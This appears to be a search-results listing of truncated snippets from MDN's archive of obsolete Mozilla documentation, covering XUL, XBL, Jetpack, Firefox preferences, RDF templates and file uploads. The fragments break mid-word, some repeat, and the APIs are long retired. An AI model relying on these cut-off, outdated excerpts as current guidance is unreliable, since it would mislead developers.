...ion) { event.target.setattribute("value",transferdata.data); } } the flavour system used allows multiple objects of various types to be dragged at once and also allows alternative forms of the data to be dragged. the following table describes some of the flavours you might use. you can also make up your own flavours if necessary. text/unicode text data text/html html data text/x-moz-
url a
url application/x-moz-file a local file see here for an overview of more data flavours. « previousnext » original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/dragwrap.php copyright information: copyright (c) neil deakin ...
Repackaging Firefox - Archive of obsolete content
hat will cause any users with the earlier version to get unnecessarily upgraded. on the other hand, if you create a dex which supports all locales, you can only ship on a few, and later expand your set without any upgrade hassles. of course, this strategy only works when your strings either do not need localization, or are programmatically localizable (for example, simply adding the locale to a
url, like http://<locale>.example.com/). but it's something to keep in mind when planning your locale support. preferences preferences are one of the two main things you will want to set in your extension (the other is bookmarks). there are two kinds of preferences in firefox, both set in the partner.js file: localizable preferences, which have a value of a chrome:// uri pointing to the properti...
...distributor.channel=<name> other preferences some settings are commonly set in partner distributions. this is not meant to be a comprehensive list of preferences, however. if you find a preference you think is generally useful to most partner repacks, please add it below, using the same style: localizable preferences browser.startup.homepage=<string> browser.startup.homepage_reset=<string>
url for the default homepage, and what the homepage gets reset to when the user hits "restore to default" in the preferences. these should both be the same
url. startup.homepage_welcome_
url=<string>
url to the first-run page. this is loaded in addition to the homepage, the very first time that firefox is run. browser.search.defaultenginename=<string> name of the default search engine. note that...
JavaScript Client API - Archive of obsolete content
're also going to import ''util.js'' as it contains many useful helpers. const cu = components.utils; cu.import("resource://services-sync/engines.js"); cu.import("resource://services-sync/record.js"); cu.import("resource://services-sync/util.js"); the record object the record object is a wrapper around a single instance of whatever data it is that you are syncing -- a single bookmark, history
url, password or form data entry. for some sync engines, it makes sense to bundle all data into one record. the tabs and preferences engines work that way. for other engines, it makes sense to have multiple records per sync. it all depends on the data model. if in doubt, consult the sync developers. the base record objects are defined in services/sync/modules/record.js. there's a base record object,...
...ou write for syncing a new data type will most likely be in the store implementation. each record that the store keeps track of must be identified by a unique id (unique among all records in the store) called guid. depending of what type of data you're working with, you might already have guids built into your data that you can make use of (note that guids must be allowed to change and should be
url friendly). if not, you may have to invent your own mapping from data objects to guids as long as it's consistent. in this case, it is highly recommended to use the utils.makeguid() helper to generate new guids: let newguid = utils.makeguid(); your store object must implement the following methods: itemexists(id) createrecord(id, collection) changeitemid(oldid, newid) getallids() wipe(...
Creating a Help Content Pack - Archive of obsolete content
ten in xhtml, and the rest are written in rdf. the content pack descriptor file outlines the framework of the contents of the pack by pointing to the files describing the table of contents, index, and glossary rdf files. the table of contents and index files are simple tree-based outlines written in rdf. the glossary file is written in rdf and consists of a simple list of terms with corresponding
urls to the term definition. creating a content pack the content pack descriptor file as mentioned earlier, the content pack descriptor file is written using rdf. if you don't know rdf, that's okay - for our purposes, you won't need to learn very much. if you understand the basics of html or (preferably) xml, you'll understand the very basics of the syntax - elements, attributes, and element conte...
... attribute is required. nc:defaulttopic will hold the rdf:id of the topic you want displayed when the viewer first loads if none has been specified. this attribute also specifies what topic is loaded when the user hits the home button in the viewer. we'll get to exactly how to fill in this attribute later. this attribute is optional, with fallback to the value welcome. nc:base contains the base
url relative to which the help content referenced in the descriptor file is located. for example, if your glossary, index, and table of contents rdf files are all located at chrome://myapp/locale/help/*, then you could put chrome://myapp/locale/help/ here and use only the actual file names without path when needed later. you don't actually need this attribute if you don't want it, but it's a useful s...
Hidden prefs - Archive of obsolete content
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2002. this page has been flagged by editors or users as needing technical review. until it is fully reviewed, it may contain inaccurate or incorrect information. ...
...r incorrect information. address book "get map" button pref ("mail.addr_book.mapit_
url.format" ) the format for this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card preview pane. the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_
url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchquery.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced. note, the ui has "name or email contains:". this entity (searchnameoremail.label) is defined in messenger.d...
Basics - Archive of obsolete content
oes stuff. logfromcaller()this method does stuff. class notifications the notification box appears at the bottom right corner of the browser and displays important information to the user. the namespace for this class is jetpack.notificaitons. methods show(titlestringbodystringiconstring)draws a notification box. titlethe head of the notification message.string bodythe messagestringfalse iconthe
url of an .ico file.string jetpack.notifications.show("hello world");var mybody = " my first message body on jetpack";var myicon = "http://www.mozilla.com/favicon.ico";jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); class tabs in this class you can find information about the tabs in your firefox window. the namespace for this class is jetpack.tabs. bl...
...iftstringsortstringsplicestringunshiftstring)this is some default text lengththe number of open tabsstring focusedthe current tab in your browserstring tostringstuffstring popstuffstring pushstuffstring reversestuffstring shiftstuffstring sortstuffstring splicestuffstring unshiftstuffstring onready()when the inherited document is fully loaded. onfocus()changing the focus of a tab. methods open(
urlstring)opens a new tab in your browser with a defined
url.
urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); ...
First run - Archive of obsolete content
th a new page notifying them that installation was successful. by default this page contains some simple text explaining that they may now use the jetpack and how to uninstall it. you can replace this text with a page tailored to your jetpack. for example, you may want to tell users how to use your jetpack or link to your jetpack's homepage. this page can be defined as either html or a remote
url. the first-run page is defined by the firstrunpage property of your jetpack's manifest. a manifest is simply an object set to a variable named manifest. you may define this variable anywhere in the global namespace of your jetpack. it's the same manifest you use when defining settings for your jetpack. the value of firstrunpage must be either a string or e4x xml. if the value is a both a stri...
... page is defined by the firstrunpage property of your jetpack's manifest. a manifest is simply an object set to a variable named manifest. you may define this variable anywhere in the global namespace of your jetpack. it's the same manifest you use when defining settings for your jetpack. the value of firstrunpage must be either a string or e4x xml. if the value is a both a string and a valid
url, the page at that
url becomes your first-run page. otherwise, the value is assumed to be html, and it becomes the body of your first-run page. this example sets the first-run page to some html: var manifest = { firstrunpage: '<p>thanks for installing! visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <>...
First Run - Archive of obsolete content
d with a new page notifying them that installation was successful. by default this page contains some simple text explaining that they may now use the jetpack and how to uninstall it. you can replace this text with a page tailored to your jetpack. for example, you may want to tell users how to use your jetpack or link to your jetpack's homepage. this page can be defined as either html or a remote
url. the first-run page is defined by the firstrunpage property of your jetpack's manifest. a manifest is simply an object set to a variable named manifest. you may define this variable anywhere in the global namespace of your jetpack. it's the same manifest you use when defining settings for your jetpack. the value of firstrunpage must be either a string or e4x xml. if the value is a both a string a...
...-run page is defined by the firstrunpage property of your jetpack's manifest. a manifest is simply an object set to a variable named manifest. you may define this variable anywhere in the global namespace of your jetpack. it's the same manifest you use when defining settings for your jetpack. the value of firstrunpage must be either a string or e4x xml. if the value is a both a string and a valid
url, the page at that
url becomes your first-run page. otherwise, the value is assumed to be html, and it becomes the body of your first-run page. this example sets the first-run page to some html: var manifest = { firstrunpage: '<p>thanks for installing! visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: ...
How to Write and Land Nanojit Patches - Archive of obsolete content
repo.] once it passes testing, file the patch to bugzilla (file a bug under the "nanojit" component in the "core" product) and get a review. generally, patches by mozilla people should be reviewed by adobe people and vice versa. once it passes review, land it on nanojit-central, mark the bug's whiteboard as fixed-in-nanojit, and note the revision in a comment. (note that nanojit-central revision
urls have the form http://hg.mozilla.org/projects/nanojit-central/<revid>, ie. there is a projects/ subdir in there. you might find it easier to just cut-and-paste links from the commit log.) you're done, but watch the nanojit tinderbox for breakage. scenario 2: creating an external patch write and test the patch, as in scenario 1 above. split the patch into three parts: nanojit, tracemonkey, tam...
...d!) tr/tm portion of the patch(es) on top of your current, un-pushed tip. at this point the set of changes you are about to push will consist of a sequence of converted revisions from nanojit-central, followed by one of more "fixups" to tr/tm to make them work properly. test this entire group and land them with a single hg push. then update the whiteboard for the each such bug p and add a comment
url. and likewise for all revisions involved in the update. you're done, but watch the tm/tr testing results (tbpl or buildbot). if you ever want to "undo" revisions you copied from nanojit-central, you can backout copied revisions using the existing mercurial "backout" command in your target repository. if you do so, the next time you copy revisions from nanojit-central to your target repository, t...
Plug-n-Hack Phase1 - Archive of obsolete content
plug-n-hack (pnh) phase 1 allows easier integration and defines how security tools can advertise their capabilities to browsers. security tool manifest to support pnh-1 security tools provide a manifest over http(s) which defines the capabilities that the browser can make use of. it is up to the tool authors to decide how the
url of the manifest is published. ...
...wser can make use of. it is up to the tool authors to decide how the
url of the manifest is published. the tool configures itself by serving an html document (we’ll call this the configuration document) to the browser. this can cause the browser to inspect the manifest and register the tool by firing a customevent with the type configuresectool and a properties object which specifies the
url of the tool manifest. for example: var manifest = {"detail":{"
url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions. the configuration document should then listen for a number o...
Configuration - Archive of obsolete content
arameters: id the unique name of this web application. remember that other people can create different webapps using the same uri and this webapp is only your particular instance or mashup. so make sure the identifier is not only unique to the web application, but also to you. this identifier becomes the name of the profile folder where your webapp is installed: google.mail@your.name uri the uri/
url of the web app: http://mail.google.com name the display name of the application: gmail icon the icon you want to use for the prism window when running this web app. the actual icon file should be stored in the webapp bundle. status turns the status messages on or off for this web app: yes or no location turns the readonly location bar on or off for this web app: yes or no navigation turns the h...
...d alt+home) on or off for this web app: yes or no splashscreen filename of an html page to be displayed while the app is loading. the file must be located in the web app home directory: splashscreen.html include uris that should be opened in the web app, rather than in the default browser. an asterisk is used to match any string. separate multiple uris with commas: *google.com, *yahoo.com exclude
urls that should be opened in the default browser, rather than in the web app. syntax is the same as for include. trayicon indicates that a system tray (notification area) icon should be displayed for the application on windows: yes or no. iconic specifies that the application should be opened in iconic state. currently support only on windows in conjunction with the trayicon, causes the application ...
File object - Archive of obsolete content
ww.mozilla.org/js/js-file-object.html created by the file constructor: new file(); new file(filename); parameters filename name of the file we want to work with. directories and pipelines are considered special files. pipelines either begin or end with the pipe (|) symbol. description filenames are specified as strings that have an implementation defined format. use of standard "file:"
urls is encouraged. if no argument is supplied to the constructor, the current working directory is the file object that is returned. examples of possible prefix strings are "/" to indicate the unix root directory, "c:" to specify a windows drive letter, and "file:" to indicate a file
url. when a file is constructed, leading and trailing spaces are removed from the filename, so new file(" abc.txt ...
...t() get a list of files, potentially matching a regular expression filter, from the file. only has meaning when the file is a directory. file.mkdir() create a directory. directory will be created in the same directory as the file, unless the file is a directory, in which case, the directory will be created in that directory. xxx file.tostring() returns the canonical path to the file. file.to
url() returns a file://
url describing the file relative to the local file system.
url is uri-encoded. examples example: hello, world file.output.writeln("hello, world"); example: writing a new file var file = new file("myfile.txt"); file.open("write,create", "text"); file.writeln("the quick brown fox jumped over the lazy dogs"); file.close(); example: reading from a file var data; var file ...
Table Layout Regression Tests - Archive of obsolete content
what the other regressions are: are they improving the picture or are they regressions? note the difficult to explain test failures. change the source if necessary until the regression tests indicate that your patch does not fork the block and table layout submit your patch and lists the remaining differences in the bug be prepared to cycle. ...
...red to cycle. how the layout regression tests work first the
url's to test are red from rtest.lst files in various directories. layout/html/tests/block/rtest.lst points to them. snippet from rtest.lst in the table/marvin directory: body_col.html body_tbody.html body_tfoot.html body_thead.html col_span.html the regression tests compare the frame tree dumps recorded at two different times. the
url's to test are red from rtest.lstfor every file in rtest.lst mozilla takes the root frame and dumps the whole tree via nsframe::dumpregression. the frame tree dumps are invoked by the nsilayoutdebugger. the frame trees are dumped to separate files in a baseline or verify directory for all
url's in rtest.lst (see: nsregressiontester::dumpframemodel). their name is generated by replacing the old ext...
DOM Interfaces - Archive of obsolete content
mented by all dom documents. idl definition interface nsidomdocumentxbl { nodelist getanonymousnodes(in element elt); element getanonymouselementbyattribute(in element elt, in domstring attrname, in domstring attrvalue); element getbindingparent(in node node); void loadbindingdocument(in domstring document
url); }; methods getanonymousnodes the getanonymousnodes method retrieves the anonymous children of the specified element. parameters elt - the element to retrieve anonymous children for. return value nodelist - the return value of getanonymousnodes is a nodelist that represents the children of an element after insertion points from its own binding have been applied. this me...
...an be used to synchronously obtain the specified binding document for use within a particular document (the one on which the loadbindingdocument method was invoked). the binding document can then be modified programmatically using the dom. any subsequent bindings that are attached to elements within the document will be constructed from the modified binding document. parameters document
url of type domstring - the
url of a binding document. no return value example the following snippet checks to see if any anonymous child of "element" is itself an element. if (element.ownerdocument instanceof ci.nsidomdocumentxbl) { var anonchildren = element.ownerdocument.getanonymousnodes(element); if (anonchildren) { for (var i = 0; i < anonchildren.length; i++) ...
Example Sticky Notes - Archive of obsolete content
fax - respond today.</p></div> <div class="sticker"><p>don't forget the eggs!</p></div> <div class="sticker"><p>the new project - who's on charge?</p></div> <div class="sticker"><p>learn more abou...
...ge) or/and svg (scalable vector graphics) in your bindings; xlink in xml also may come useful sometimes. all namespaces above are supported by default and they do not require any additional downloads or initializations. --> <binding id="default"> <!-- a separate binding. you add a binding file using -moz-binding style rule and you address a particular binding by its id: -moz-binding:
url(notes.xml#default) this id is local within the binding file (not visible in the target document dom tree). --> <resources> <!-- obtaining the stylesheet we'll use to (re)style the bound element. --> <stylesheet src="notes.css"/> </resources> <content> <!-- this svg graphics will be added automatically around each bound element. the position of the original content is indicated by <chi...
Properties - Archive of obsolete content
scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. properties archive full local path of the archive after it is downloaded to the platform specific temp folder. (e.g. c:\temp\argstest.xpi) arguments args can be passed in through the triggering apis by attaching a ? and then the rg string to the xpi
url: (e.g. startsoftwareupdate("http://webserver/argstest.xpi?argument_string") will result in the value of install.arguments being argument_string #). note that spaces in the arg string are legal. everything after the question mark is treated as one string which becomes the install.arguments property. buildid the application build id in the form 20041231. note that due to branching (di...
...ts. additionally, the build id can be 0 for custom builds. jarfile alias for archive platform contains information about the platform xpinstall was compiled for/runs on. for example, the value could begin with "windows", "macintosh" or "x11" (for unix/linux). for more details, see the corresponding code living in the getinstallplatform method of class nsinstall.
url the fully qualified
url of the xpi (file
url, http
url, ftp
url, etc.) (e.g. http://dolfin/sgehani/zzz/ip.xpi). note, even if triggered using relative
urls this will show the full
url (after qualification). ...
datasources - Archive of obsolete content
« xul reference home datasources type: space separated list of datasource uris a space-separated list of datasources that an element's template will use for content generation. these can be either internal datasources such as rdf:bookmarks or a
url. the datasources attribute may be placed on most elements, although it will usually be found on trees and menu related elements. the element should have a template element as a child. ...
...will usually be found on trees and menu related elements. the element should have a template element as a child. for rdf templates, the specified datasources are combined into a single composite datasource which holds the data from all of the datasources. this composite datasource is accesssible via a script through the database property. for xml datasources, only one source is used, either the
url of an xml file or an anchor reference to another element within the same document. for instance, the reference '#data' refers to an element with the id 'data'. if you plan on adding a datasource to an element but don't want one to be added right away, set this attribute to 'rdf:null'. this will make the element so that its contents can be generated from a datasource. otherwise, you cannot add on...
Uploading and Downloading Files - Archive of obsolete content
tible with existing servers and formdata interface makes that task fairly simple. a formdata object will automatically generate request data with mime type multipart/form-data that existing servers can process. to add a file field to the data you use a file object that an extension can construct from file path. the formdata object can then simply be passed to xmlhttprequest: function upload(post
url, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", post
url); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation. this is simpler but it doesn't allow sending additional data and w...
...ilepath)); var req = new xmlhttprequest(); req.open("post", post
url); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation. this is simpler but it doesn't allow sending additional data and web servers usually need special configuration to support put operations. function uploadput(post
url, filepath) { var req = new xmlhttprequest(); req.open("put", post
url); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's send method. fetch upload please refer to uploading a file section...
appendNotification - Archive of obsolete content
tification will be added behind it. label - label to appear on the notification. this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich content as well. keep in mind that this is all xul so using html elements for styling might still need additional css in order to work as you might expect. value - value used to identify the notification image -
url of image to appear on the notification. if "" then an icon appropriate for the priority level is used. priority - notification priority; see priority levels. buttons - array of button descriptions to appear on the notification. eventcallback optional - a javascript function to call to notify you of interesting things that happen with the notification box. see notification box events. prio...
...-button" or "menu". popup: null }; buttons.push(button1); let button2 = { isdefault: true, accesskey: "2", label: "button 2", callback: testnotificationbutton2callback, type: "", // if a popup, then must be: "menu-button" or "menu". ...
MenuItems - Archive of obsolete content
pears on a menu item, you will want to ensure you use a fairly small image. although the exact size will vary depending on the theme being used, the size of menu item images should generally be around 16 by 16 pixels. instead of specifying the icon with the image attribute, you can also reference the image in a style sheet with the 'list-style-image' property. #add-bookmark { list-style-image:
url('addbookmark.png'); } this technique can also be used to apply an image for the menu element, except you would want to use the "menu-iconic:" class instead. <menuitem id="bookmark" class="menu-iconic" label="bookmarks" image="bookmarks.png"/> menu icon animation in order to animate the menu item icon on hover a -moz-image-region rule can be applied. in this example we use an image that is 1...
...con in normal state the bottom part in hovered state. note that the image element is on a child level underneath the menu or menuitem, and it will have the class menu-iconic-icon. hence, -moz-image-region is not applied to the menu itself, but one level lower: <menuitem id="add-bookmark" class="menuitem-iconic" label="add bookmark" image="addbookmark.png"/> #add-bookmark { list-style-image:
url('addbookmark.png'); } #add-bookmark .menu-iconic-icon { -moz-image-region: rect(0px, 16px, 16px, 0px) !important; } #add-bookmark:hover .menu-iconic-icon { -moz-image-region: rect(16px, 16px, 32px, 0px) !important; } this behavior is fundamentally different to other html elements, such as <li> or <div> where list-style-image and -moz-image-region can be applied at the same element level. ch...
Bindings - Archive of obsolete content
an add more triples to the previous example to show more information. for example, a description could be added to a photo. to do this all we need to do is add the necessary data to the rdf datasource and add another <triple> element to the template's statements. <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/description" object="?description"/> </query> it works similarly to the previous triple. the ?photo variable is filled in with the known value and then the arc is looked up the datasource, filling in the value for the ?description variable. the ?descrip...
...ometimes, it would be useful to have triples that match conditionally; that is, a triple that doesn't cause a result to be removed as a possible match. this is done with a binding element. this tag doesn't go in the query block but instead inside a rule element. the syntax is as follows: <template> <query> ... </query> <rule> <binding subject="?photo" predicate="http://p
url.org/dc/elements/1.1/description" object="?description"/> <action> ... </action> </rule> </template> the description triple has been changed to a binding element, but the attributes are the same. this allows a match to occur even if the description is not specified. note that when bindings are used, the bindings and the action must be enclosed inside a rule element. t...
Filtering - Archive of obsolete content
, when expanded with the namespace (not shown here), will be 'http://www.daml.org/2001/09/countries/country-ont#country'. the resulting rdf triples for the first country will be: http://www.daml.org/2001/09/countries/iso#it -> http://www.w3.org/1999/02/22-rdf-syntax-ns#type -> http://www.daml.org/2001/09/countries/country-ont#country http://www.daml.org/2001/09/countries/iso#it -> http://p
url.org/dc/elements/1.1/title -> italy the type is just like any other triple in the datasource, so we don't need any special syntax to navigate over it. we just need to use the right predicate to look for all the countries. you might wonder what the ref attribute or starting point should be set to since there is no container for the countries. actually, we can just use the type as the starting po...
...rg/2001/09/countries/country-ont#country'. we need to iterate over the 'type' predicate to find the individual countries. a second triple is used to get the title for the country. <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://p
url.org/dc/elements/1.1/title" object="?countrytitle"/> </query> the action body will need to generate a <menuitem> for each result. it will also need to include a <menupopup> around all of the items. since we only want to generate a single menupopup, it should go outside of the element with the uri attribute. only the contents at the element with the uri attribute and below are copied for...
Sorting Results - Archive of obsolete content
parsetype="integer" for numbers which will allow sorting numerically. by specifing different types for different values, you can sort alphabetically, numerically or by date. if you are using the simple rdf query syntax, there are no variables, so you need to specify the full predicate including the rdf: prefix in the sort attribute. for instance: <treecol id="name" label="name" sort="rdf:http://p
url.org/dc/elements/1.1/title" flex="1"/> note that all of this discussion about sorting only applies to tree builders. for other elements or content trees, sorting is done by placing the attributes on the root element. content sorting for content builders (templates that do not use flags="dont-build-content"), sorting is done by placing the sort and sortdirection attributes on the root node of the ...
...as desired. sorting occurs when output is first generated as well as when a result is added as a result of a datasource change. when the rdf datasource changes, and a new result is available, the new content is inserted at the right location. for rdf datasources, you can also use an rdf predicate for sorting instead of a variable: <hbox datasources="template-guide-photos5.rdf" sort="http://p
url.org/dc/elements/1.1/title" sortdirection="ascending" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://p
url.org/dc/elements/1.1/title"/> </vbox> </template> </hbox> in this example, the generated items will be sorted by title. when sorting, the predicate specified in the ...
Template Builder Interface - Archive of obsolete content
for example, to generate html elements. this isn't a very common technique, however, here is an example of how this can be used: <html:div id="photoslist" datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:html="http://www.w3.org/1999/xhtml"> <html:h1>my photos</html:h1> <template> <html:p uri="rdf:*"><textnode value="rdf:http://p
url.org/dc/elements/1.1/title"/></html:p> </template> </html:div> this example generates three paragraphs. some static content before the <template> element displays a <h1> header. since templates were designed for creating xul content, sometimes there can be unusual results when using html. sometimes this is due to different whitespace handling for html and xul, which is why the content to generat...
...n't be able to specify a value for the datasources attribute, and a template builder would not be attached to the element. in a chrome context, the datasource 'rdf:local-store' is always included even if you don't specify it. this is something to watch out for if you are going to be manipulating the composite datasource. one more note: the datasources attribute may use either absolute or relative
urls. relative
urls are relative to the xul document the corresponding element is in. the rdf service's getdatasource method however, only accepts absolute
urls. so you will need to use the full path in this situation. « previousnext » ...
Using Multiple Queries to Generate More Results - Archive of obsolete content
ry will match the streets as before, but the second query will generate a result for each person. a header class is used to distinguish the content, although you could use exactly the same content if you wish. ...
... multiple queries with xml sources you can also use more than query when using an xml source. here is an example which generates two sets of results and shows them together. <vbox datasources="people.xml" ref="*...
textbox (Toolkit autocomplete) - Archive of obsolete content
n this attribute. search-autocomplete requires seamonkey 2.1 the user's default search engine's suggestions are searched. places-tag-autocomplete requires seamonkey 2.1 the user's places tags are searched. mydomain new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested. history requires seamonkey 2.0 the user's
url history is searched. form-history requires seamonkey 2.0 search the values that the user has entered into form fields. file (linux only) the local file system is searched. gloda new in thunderbird 3 addrbook new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched. ldap new in thunderbird 25 requires seamonke...
...ttribute is set to true when the menu is open. the open attribute is not present if the menu is closed. readonly type: boolean if set to true, then the user cannot change the value of the element. however, the value may still be modified by a script. showcommentcolumn new in thunderbird 3requires seamonkey 2.0 type: boolean if true, a comment column appears in the popup. for the
url history, the comment column will contain the page titles associated with each
url. if this attribute is not specified, the comment column doesn't appear. showimagecolumn type: boolean if true, an image column appears in the popup. there is no default styling of this image, but the class name returned by the results appears in the property list for the column. if this attribute is not specifi...
Advanced Rules - Archive of obsolete content
four resources and the builder will generate content for each of the four. of course, the example above doesn't have any content. we'll add that later. triple element the next element is the triple element. it is used to check for the existence of a given triple (or assertion) in the rdf datasource. a triple is like a property of a resource. for example, a triple exists between a bookmark and its
url. this might be expressed as follows: a bookmark to mozilla.org ->
url -> www.mozilla.org this means that there is a triple between the bookmark 'a bookmark to mozilla.org' and 'www.mozilla.org' by the
url property. the first part of this expression is called the subject, the second part is called the predicate and the last part is called the object. as a triple element, it would be expressed...
...the predicate would normally include the namespace, and the subject would be the bookmark's resource id, not the bookmark's title as used here. ...
Introduction to XBL - Archive of obsolete content
ther called binding2. one might be attached to a scroll bar and the other to a menu. a binding can be attached to any xul element. if you use css classes, you can use as many different bindings as you need. note the namespace on the bindings element in the template above. this declares that we are using xbl syntax. you assign a binding to an element by setting the css property -moz-binding to the
url of the bindings file. for example: scrollbar { -moz-binding:
url('chrome://findfile/content/findfile.xml#binding1'); } the
url points to the binding with the id 'binding1' in the file 'chrome://findfile/content/findfile.xml'. the '#binding1' syntax is used to point to a specific binding, much like how you would point to an anchor in an html file. you will usually put all of your bindings in ...
...wing example demonstrates this. ...
List Controls - Archive of obsolete content
choices, click the arrow button on the menulist. when one is selected, it appears as the choice in the menulist. the selected attribute is used to indicate the value that is selected by default. editable menulist by default, you can only select choices from the list. you cannot enter your own text by typing it in. a variant of the menulist allows editing the text in the field. for example, the
url field in the browser has a drop-down for selecting previously typed
urls, but you can also type them in yourself. to create an editable menulist, add the editable attribute as follows: example 6 : source view <menulist editable="true"> <menupopup> <menuitem label="www.mozilla.org" /> <menuitem label="www.xulplanet.com" /> <menuitem label="www.dmoz.org" /> </menupopup> </menulist> ...
...the text the user enters is not added as a new choice. because the label attribute was not used in this example, the default value will be blank. ...
XBL Attribute Inheritance - Archive of obsolete content
ent, the label will need to inherit its text from the value attribute and the textbox will also need to inherit its default value from the value attribute as well. to solve this, we will need to use a different attribute and map it to the same one. the following demonstrates this: xul: <box class="labeledtextbox" title="enter some text:" value="ok"/> css: box.labeledtextbox { -moz-binding:
url('chrome://example/skin/example.xml#labeledtextbox'); } xbl: <binding id="labeledtextbox"> <content> <xul:label xbl:inherits="value=title"/> <xul:textbox xbl:inherits="value"/> </content> </binding> the textbox inherits the value attribute directly. to set the value attribute on the label, we need to use a different attribute name and map it to the value. the inherits attribute on t...
... map it to the value. the inherits attribute on the label grabs the title attribute from the labeledtextbox and maps it to the value attribute of the label element. the syntax <inner attribute>=<outer attribute> is used to map one attribute to another. here is another example: xul: <box class="okcancel" oktitle="ok" canceltitle="cancel" image="happy.png"/> css: box.okcancel { -moz-binding:
url('chrome://example/skin/example.xml#okcancel'); } xbl: <binding id="okcancel"> <content> <xul:button xbl:inherits="label=oktitle,image"/> <xul:button xbl:inherits="label=canceltitle"/> </content> </binding> the value of the oktitle attribute is mapped to the label attribute of the first button. the canceltitle attribute is mapped to the label attribute of the second button. the firs...
XPCOM Interfaces - Archive of obsolete content
you do not create instances of them because only one should exist. services provide general functions which e...
...tely("http://www.mozilla.org","mozilla",0,null); first, the component "@mozilla.org/browser/bookmarks-service;1" is retrieved and its service is placed in the variable bmarks. we use queryinterface() to get the nsibookmarksservice interface. the function addbookmarkimmediately() provided by this interface can be used to add bookmarks. the first two parameters to this function are the bookmark's
url and its title. the third parameter is the bookmark type which will normally be 0 and the last parameter is the character encoding of the document being bookmarked, which may be null. next, we will see some of the interfaces provided with mozilla that we can use. « previousnext » ...
XUL Questions and Answers - Archive of obsolete content
ee using the domi. see also http://developer.mozilla.org/en/docs...in_chrome_code how can i include a .js document from inside a javascript document? use the following snippet of code to reference a js file within a js file: objscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"].getservice(components.interfaces.mozijssubscriptloader); objscriptloader.loadsubscript(str
url); see http://www.xulplanet.com/references/...iptloader.html for more information. too specific questions or unclear answers how do i remove the file location header included in the default printing setting? see http://www.xulplanet.com/references/...ef_iframe.html, the first user note at the bottom. change this line var settings = printutils.getprintsettings(); to this var settings = pri...
...ptloader.html for more information. too specific questions or unclear answers how do i remove the file location header included in the default printing setting? see http://www.xulplanet.com/references/...ef_iframe.html, the first user note at the bottom. change this line var settings = printutils.getprintsettings(); to this var settings = printutils.getprintsettings().clone(); settings.doc
url = " "; // suppress
url on printout other options you can modify are documented here: http://www.xulplanet.com/references/...tsettings.html how can i send xml/xul document fragment to the server instead of using get or post variables? you can send documents using send(document), so you should be able to insert the fragment into an empty document. how can i manage scrolling outside the bro...
XULBrowserWindow - Archive of obsolete content
ot complete at this time. see the linked interfaces for the definition of the implemented methods. you may also wish to refer to the implementation of xulbrowserwindow in browser/base/content/browser.js. method overview boolean hidechromeforlocation(in string alocation); attributes attribute type description incontentwhitelist string[] an array of
url strings for which chrome is automatically hidden. defaults to about:addons but extensions can append specific
urls to the array. methods hidechromeforlocation determines whether or not browser chrome should be hidden for the specified location. by default, chrome is hidden for about:addons and any other pages in the in content whitelist. you can augment the functionality of this method u...
...r chrome should be hidden for the specified location. by default, chrome is hidden for about:addons and any other pages in the in content whitelist. you can augment the functionality of this method using chaining in order to hide chrome for other locations. see hiding browser chrome for details and an example. boolean hidechromeforlocation( in string alocation ); parameters alocation the
url to check to see if chrome should be hidden while that location is displayed. return value true if chrome should be hidden while displaying the specified location; otherwise false. ...
XUL element attributes - Archive of obsolete content
irst menupopup child of the element. contextmenu type: id alternate name for the context attribute, but also has a corresponding script property contextmenu. datasources type: space separated list of datasource uris a space-separated list of datasources that an element's template will use for content generation. these can be either internal datasources such as rdf:bookmarks or a
url. the datasources attribute may be placed on most elements, although it will usually be found on trees and menu related elements. the element should have a template element as a child. for rdf templates, the specified datasources are combined into a single composite datasource which holds the data from all of the datasources. this composite datasource is accesssible via a script through the datab...
...will usually be found on trees and menu related elements. the element should have a template element as a child. for rdf templates, the specified datasources are combined into a single composite datasource which holds the data from all of the datasources. this composite datasource is accesssible via a script through the database property. for xml datasources, only one source is used, either the
url of an xml file or an anchor reference to another element within the same document. for instance, the reference '#data' refers to an element with the id 'data'. if you plan on adding a datasource to an element but don't want one to be added right away, set this attribute to 'rdf:null'. this will make the element so that its contents can be generated from a datasource. otherwise, you cannot add on...
image - Archive of obsolete content
more information is available in the xul tutorial. note: prior to gecko 8.0, images did not shrink down with the same ratio in both directions when specifying maximum sizes using maxheight or maxwidth. the new behavior aligns more with the html <img> element and shrinks both the width and height down proportionally. ...
